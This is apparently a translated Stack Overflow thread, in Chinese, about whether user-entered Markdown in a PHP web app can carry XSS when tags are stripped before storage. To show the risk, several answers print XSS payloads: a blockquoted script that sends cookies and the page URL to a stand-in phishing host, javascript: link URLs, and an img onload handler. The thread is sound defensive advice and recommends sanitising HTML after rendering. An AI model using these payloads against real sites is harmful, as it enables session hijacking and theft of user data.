12

我正在开发一个 Web 应用程序,该应用程序允许用户在目录中键入项目的简短描述。我允许在我的文本区域中使用 Markdown,以便用户可以进行一些 HTML 格式设置。

在将任何输入文本插入数据库之前,我的文本清理功能会从任何输入文本中去除所有标签:

public function sanitizeText($string, $allowedTags = "") {
    $string = strip_tags($string, $allowedTags);

    if(get_magic_quotes_gpc()) {
        return mysql_real_escape_string(stripslashes($string));
    } else {
        return mysql_real_escape_string($string);
    }
}

本质上,我在数据库中存储的所有内容都是 Markdown——没有其他 HTML,甚至“基本 HTML”(如这里的 SO)都是允许的。

允许降价会带来任何安全威胁吗?markdown 是否可以被 XSSed,即使它没有标签?

4

7 回答 7

10

我认为从输入中删除任何 HTML 标签会让你得到一些非常安全的东西——除非有人找到一种方法将一些非常混乱的数据注入 Markdown,让它产生一些更混乱的输出^^

尽管如此,我还是想到了两件事:

第一个: strip_tags不是奇迹功能:它有一些缺陷......
例如,它会在'<'之后删除所有内容,在这种情况下:

$str = "10 appels is <than 12 apples";
var_dump(strip_tags($str));

我得到的输出是:

string '10 appels is ' (length=13)

这对您的用户来说不是那么好:-(


第二个:总有一天,您可能希望允许一些 HTML 标签/属性;或者,即使在今天,您也可能希望确保 Markdown 不会生成某些 HTML 标签/属性。

您可能对HTMLPurifier之类的东西感兴趣:它允许您指定应保留哪些标签和属性,并过滤字符串,以便只保留那些。

它还生成有效的 HTML 代码——这总是很好的;-)

于 2009-08-04T10:49:38.310 回答
7

这是一个很好的例子,说明为什么需要在之后而不是之前清理 HTML:

降价代码:

>  <script type="text/javascript"
>  language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>

渲染为:

<blockquote> 
<p><script type="text/javascript"
 language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&amp;c=' + escape(document.cookie);
</script></p> 
</blockquote> 

现在你担心了吗?

于 2011-07-25T23:19:36.560 回答
5

在渲染 Markdown 之后清理生成的 HTML 将是最安全的。如果你不这样做,我认为人们可以像这样在 Markdown 中执行任意 Javascript:

[Click me](javascript:alert\('Gotcha!'\);)

PHP Markdown 将其转换为:

<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p>

哪个工作。...甚至不要考虑开始添加代码来处理这些情况。正确的清理并不容易,只需使用一个好的工具并在将 Markdown 渲染为 HTML 后应用它。

于 2009-08-04T14:59:14.030 回答
2

允许降价会带来任何安全威胁吗?markdown 是否可以被 XSSed,即使它没有标签?

在这方面几乎不可能做出绝对的陈述 - 谁能说降价解析器可以通过足够畸形的输入被欺骗?

但是,风险可能非常低,因为它是一种相对简单的语法。最明显的攻击角度是 javascript: 链接或图像中的 URL - 解析器可能不允许,但我会检查一下。

于 2009-08-04T09:14:57.080 回答
2

不,您使用 Markdown 的方式并不安全。Markdown 可以安全地使用,但你必须正确使用它。有关如何安全使用 Markdown 的详细信息,请查看此处。有关如何安全使用它的详细信息,请参阅链接,但简短的版本是:使用最新版本、设置safe_mode和设置很重要enable_attributes=False

该链接还解释了为什么转义输入然后调用 Markdown(正如您所做的那样)不足以保证安全。简短示例:“ [clickme](javascript:alert%28%22xss%22%29)”。

于 2012-05-06T21:45:15.657 回答
0

BBcode 提供更高的安全性,因为您正在生成标签。

<img src="" onload="javascript:alert(\'haha\');"/>

如果允许 <img> ,这将直接通过 strip_tags ;) Bam !

于 2009-08-04T09:48:07.280 回答
0

我同意 Pascal MARTIN 的观点,即 HTML 清理是一种更好的方法。如果您想完全使用 JavaScript,我建议您查看google-caja 的清理库源代码)。

于 2010-12-03T04:10:19.137 回答